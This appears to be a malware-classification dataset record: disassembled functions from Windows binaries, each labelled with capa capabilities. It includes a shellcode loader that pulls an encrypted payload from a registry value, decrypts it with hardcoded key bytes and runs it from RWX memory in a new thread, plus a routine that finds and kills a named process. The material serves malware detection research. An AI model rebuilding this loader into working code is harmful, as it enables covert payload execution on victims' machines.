joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400110f0
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x140011f60
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x178
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x198]
mov rax, qword [0x14001f008]
xor rax, rbp
mov qword [rbp + 0x120], rax
lea rcx, [0x1400250a2]
call fcn.1400113ca
mov dword [rbp + 4], 0
mov dword [rbp + 0x24], 0
mov qword [rbp + 0x48], 0
lea rax, [rbp + 0x24]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0xffff
lea r8, str.MalDevAcademy
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14001201f
mov edx, dword [rbp + 4]
lea rcx, str.____RegGetValueA_Failed_With_Error_:__d_n
call fcn.1400111bd
xor eax, eax
jmp 0x1400120e2
mov eax, dword [rbp + 0x24]
mov qword [rbp + 0x118], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, qword [rbp + 0x118]
mov r8, rcx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x14001206a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____HeapAlloc_Failed_With_Error_:__d_n
call fcn.1400111bd
xor eax, eax
jmp 0x1400120e2
lea rax, [rbp + 0x24]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov r9d, 0xffff
lea r8, str.MalDevAcademy
lea rdx, str.Control_Panel
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400120c2
mov edx, dword [rbp + 4]
lea rcx, str.____RegGetValueA_Failed_With_Error_:__d_n
call fcn.1400111bd
xor eax, eax
jmp 0x1400120e2
mov rax, qword [rbp + 0x150]
mov rcx, qword [rbp + 0x48]
mov qword [rax], rcx
mov eax, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x158]
mov qword [rcx], rax
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001bc80]
call fcn.140011357
mov rax, rdi
mov rcx, qword [rbp + 0x120]
xor rcx, rbp
call fcn.1400111d6
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret
Function at 0x140011172
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x140012180
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x178]
mov rax, qword [0x14001f008]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400250a2]
call fcn.1400113ca
lea rcx, str.___start_of_runshellcode_...
call fcn.1400111bd
call qword [sym.imp.ucrtbased.dll_getchar]
mov qword [rbp + 8], 0
mov dword [rbp + 0x24], 0
lea rcx, str.___about_to_virtual_alloc_...
call fcn.1400111bd
call qword [sym.imp.ucrtbased.dll_getchar]
mov r9d, 4
mov r8d, 0x3000
mov rdx, qword [rbp + 0x148]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
jne 0x140012242
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.1400111bd
xor eax, eax
jmp 0x1400122f2
mov rdx, qword [rbp + 8]
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.1400111bd
call qword [sym.imp.ucrtbased.dll_getchar]
mov r8, qword [rbp + 0x148]
mov rdx, qword [rbp + 0x140]
mov rcx, qword [rbp + 8]
call fcn.1400111db
lea r9, [rbp + 0x24]
mov r8d, 0x40
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400122a6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d__n
call fcn.1400111bd
xor eax, eax
jmp 0x1400122f2
lea rcx, str.___Press__Enter__To_Run_...
call fcn.1400111bd
call qword [sym.imp.ucrtbased.dll_getchar]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
mov edx, 0x7d0
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001bd00]
call fcn.140011357
mov rax, rdi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111d6
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret

Function at 0x14001121c
Capabilities:
Terminate process

Disassembly:
jmp 0x140013f40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112a8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x1400125e0
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f008]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
lea rcx, [0x1400250a2]
call fcn.1400113ca
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 8]
call fcn.1400110f0
mov byte [rbp + 0x48], 0x9a
mov byte [rbp + 0x49], 7
mov byte [rbp + 0x4a], 0x71
mov byte [rbp + 0x4b], 0x56
mov byte [rbp + 0x4c], 0xad
mov byte [rbp + 0x4d], 0x47
mov byte [rbp + 0x4e], 0x88
mov byte [rbp + 0x4f], 0xc8
mov byte [rbp + 0x50], 0x6b
mov byte [rbp + 0x51], 0xb
mov byte [rbp + 0x52], 0x83
mov byte [rbp + 0x53], 0x3d
mov byte [rbp + 0x54], 0x1c
mov byte [rbp + 0x55], 9
mov byte [rbp + 0x56], 0x94
mov byte [rbp + 0x57], 0x2d
mov byte [rbp + 0x58], 0x26
mov byte [rbp + 0x59], 0xa2
mov byte [rbp + 0x5a], 0xe3
mov byte [rbp + 0x5b], 0x30
mov byte [rbp + 0x5c], 0x8c
mov byte [rbp + 0x5d], 0x5d
mov byte [rbp + 0x5e], 0x30
mov byte [rbp + 0x5f], 0x16
mov byte [rbp + 0x60], 0xb5
mov byte [rbp + 0x61], 0x93
mov byte [rbp + 0x62], 0xb9
mov byte [rbp + 0x63], 0x34
mov byte [rbp + 0x64], 0x6f
mov byte [rbp + 0x65], 0x6c
mov byte [rbp + 0x66], 0x5e
mov byte [rbp + 0x67], 0xfc
mov byte [rbp + 0x88], 0x91
mov byte [rbp + 0x89], 0xdd
mov byte [rbp + 0x8a], 0xdb
mov byte [rbp + 0x8b], 0xec
mov byte [rbp + 0x8c], 0x8a
mov byte [rbp + 0x8d], 0x73
mov byte [rbp + 0x8e], 0xde
mov byte [rbp + 0x8f], 0xd8
mov byte [rbp + 0x90], 0x2c
mov byte [rbp + 0x91], 0x99
mov byte [rbp + 0x92], 0x8a
mov byte [rbp + 0x93], 0xbc
mov byte [rbp + 0x94], 7
mov byte [rbp + 0x95], 0xaf
mov byte [rbp + 0x96], 0x8d
mov byte [rbp + 0x97], 0x1f
mov qword [rbp + 0xb8], 0
mov qword [rbp + 0xd8], 0
lea rax, [rbp + 0xd8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x88]
lea r8, [rbp + 0x48]
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 8]
call fcn.14001122b
test eax, eax
jne 0x14001277a
mov eax, 0xffffffff
jmp 0x1400127bf
lea rdx, [rbp + 0xb8]
lea rcx, str.Data:__s__n
call fcn.1400111bd
mov r8, qword [rbp + 0xd8]
mov rdx, qword [rbp + 0xb8]
lea rcx, str.DecryptedPayload:
call fcn.14001132f
mov rdx, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0xb8]
call fcn.140011172
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001c1d0]
call fcn.140011357
mov rax, rdi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
call fcn.1400111d6
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x1400112b2
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015290
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400152b0
xor al, al
jmp 0x140015331
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400152c3
xor al, al
jmp 0x140015331
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400152ed
xor al, al
jmp 0x140015331
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015301
xor al, al
jmp 0x140015331
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015313
xor al, al
jmp 0x140015331
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001532f
xor al, al
jmp 0x140015331
mov al, 1
add rsp, 0x38
ret
Function at 0x140002350
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000236f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002378
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002390
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400023b0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400023b8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400023b0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400023b0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002404
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002410
add rdx, 0x28
cmp r9, rdx
jne 0x1400023f0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002420
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043f0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002442
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002450
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002442
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002442
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002442
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x1400024a5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x1400024b8
add rdx, 0x28
cmp rdx, r10
jne 0x140002490
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x1400024c7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400024d7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400024ae
test ecx, ecx
jg 0x1400024c0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret

Function at 0x140001960
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400019aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400019aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400019aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400019aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400019aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400019ac
xor al, al
add rsp, 0x28
ret
Function at 0x180004070
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
push rbx
push rsi
push r12
push r15
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rsi, qword [r8]
xor r12d, r12d
mov qword [rsp + 0x28], rcx
mov r15, rdx
mov rbx, rcx
test rsi, rsi
jne 0x1800040c2
xorps xmm0, xmm0
lea rdx, [0x180039b21]
movups xmmword [rcx], xmm0
xor r8d, r8d
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], r12
call fcn.180019d80
jmp 0x18000421f
mov qword [rsp + 0x98], rbp
lea rax, [rdx + rsi]
mov qword [rsp + 0xa8], rdi
mov rcx, rsi
mov qword [rsp + 0x60], r14
mov rdi, r12
and ecx, 3
jne 0x1800040f4
cmp byte [rax - 1], 0x3d
je 0x1800040f4
mov rbp, r12
mov r14, r12
jmp 0x18000410d
mov ebp, 1
cmp rcx, 2
ja 0x18000410a
cmp byte [rax - 2], 0x3d
jne 0x18000410a
mov r14, r12
jmp 0x18000410d
mov r14, rbp
sub rsi, rbp
lea rcx, [rsp + 0x30]
and rsi, 0xfffffffffffffffc
mov rdx, rsi
shr rdx, 2
lea rax, [r14 + rdx*2]
add rdx, rax
add rdx, rbp
call fcn.1800163a0
cmp qword [rsp + 0x48], 0xf
lea r9, [rsp + 0x30]
lea r10, [0x18003bd00]
cmova r9, qword [rsp + 0x30]
test rsi, rsi
je 0x1800041b3
lea rdx, [rsi - 1]
shr rdx, 2
lea r8, [r15 + 2]
inc rdx
nop dword [rax + rax]
movzx eax, byte [r8 - 2]
lea r8, [r8 + 4]
mov ecx, dword [r10 + rax*4]
movzx eax, byte [r8 - 5]
shl ecx, 6
or ecx, dword [r10 + rax*4]
movzx eax, byte [r8 - 4]
shl ecx, 6
or ecx, dword [r10 + rax*4]
movzx eax, byte [r8 - 3]
shl ecx, 6
or ecx, dword [r10 + rax*4]
mov eax, ecx
sar eax, 0x10
mov byte [r9 + rdi], al
mov eax, ecx
sar eax, 8
mov byte [r9 + rdi + 1], al
mov byte [r9 + rdi + 2], cl
add rdi, 3
sub rdx, 1
jne 0x180004160
test rbp, rbp
mov rbp, qword [rsp + 0x98]
je 0x180004201
movzx eax, byte [rsi + r15]
movzx ecx, byte [rsi + r15 + 1]
mov edx, dword [r10 + rax*4]
shl edx, 6
or edx, dword [r10 + rcx*4]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
mov byte [r9 + rdi], al
test r14, r14
je 0x180004201
movzx eax, byte [rsi + r15 + 2]
sar edx, 8
mov ecx, dword [r10 + rax*4]
shl ecx, 6
sar ecx, 8
or dl, cl
mov byte [r9 + rdi + 1], dl
movups xmm0, xmmword [rsp + 0x30]
mov r14, qword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x40]
mov rdi, qword [rsp + 0xa8]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1800346e0
add rsp, 0x68
pop r15
pop r12
pop rsi
pop rbx
ret
Function at 0x180011800
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x40]
test rcx, rcx
je 0x18001182e
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbx + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x38]
cmp rdx, 0xf
jbe 0x180011865
mov rcx, qword [rbx + 0x20]
inc rdx
cmp rdx, 0x1000
jb 0x180011860
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800118c8
mov rcx, r8
call fcn.180034744
mov qword [rbx + 0x30], 0
mov qword [rbx + 0x38], 0xf
mov byte [rbx + 0x20], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0xf
jbe 0x1800118af
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x1800118aa
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800118c8
mov rcx, r8
call fcn.180034744
mov qword [rbx + 0x10], 0
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
add rsp, 0x20
pop rbx
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1800137e0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x60], rax
mov rbx, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x20], xmm1
mov ecx, 0x210
call fcn.180034700
mov rdx, rax
mov qword [rbp - 0x30], rax
movdqa xmm0, xmmword [0x18003c760]
movdqu xmmword [rbp - 0x20], xmm0
xor esi, esi
movzx eax, si
mov rdi, rdx
mov ecx, 0x104
rep stosw word [rdi], ax
mov word [rdx + 0x208], si
lea rax, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rax, qword [rbp - 0x30]
mov r8, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x18001386c
mov r8, qword [rbx]
mov dword [rsp + 0x28], 0x104
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov r9d, 0xffffffff
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
mov dword [rbp + 0x54], eax
mov dword [rbp - 0x10], 0x68
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rax
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rdx, qword [rbp - 0x30]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x180013980
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x18001395b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180013956
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180013956
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180034744
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.1800346e0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.180016110
mov r8, qword [rax]
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.180016130
mov rdx, qword [rax]
lea rcx, [rsp + 0x78]
call fcn.180018cb0
nop
mov r8, rax
lea rcx, [rbp - 0x68]
call fcn.180018d00
nop
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1800013d0
lea rdx, [0x1800434b0]
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x180013a50
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push rdi
sub rsp, 0x270
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180013b53
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x180013b4a
mov qword [rsp + 0x288], rsi
lea rsi, str.sysabc.exe
mov qword [rsp + 0x280], rbx
nop word [rax + rax]
lea rdx, [rsp + 0x4c]
mov rax, 0xffffffffffffffff
nop dword [rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x180013b28
add rax, 2
cmp rax, 0xb
je 0x180013af2
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
je 0x180013ad0
jmp 0x180013b28
mov r8d, dword [rsp + 0x28]
test r8d, r8d
je 0x180013b28
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x180013b28
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x180013ac0
mov rsi, qword [rsp + 0x288]
mov rbx, qword [rsp + 0x280]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1800346e0
add rsp, 0x270
pop rdi
ret
Function at 0x180014d30
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x180014d51
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x180014d7e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x180014d80
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180014dd9
test ecx, ecx
jle 0x180014db9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180014dd9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180014dd9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
and al, 0x28
cmp dword [rax + 0x18], 0
je 0x18007e662
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x10], 0
jl 0x18007e662
mov rax, qword [rsp + 0x28]
Function at 0x180014e00
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x180014e22
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je case.default.0x180014e31
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x180014e54
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180014e56
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180014e92
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x180014f2e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x180014ecd
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x180014f0e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x180014f2e
cmp rbx, rax
ja 0x180014ee0
test rbx, rbx
je 0x180014f2e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
and al, 0x24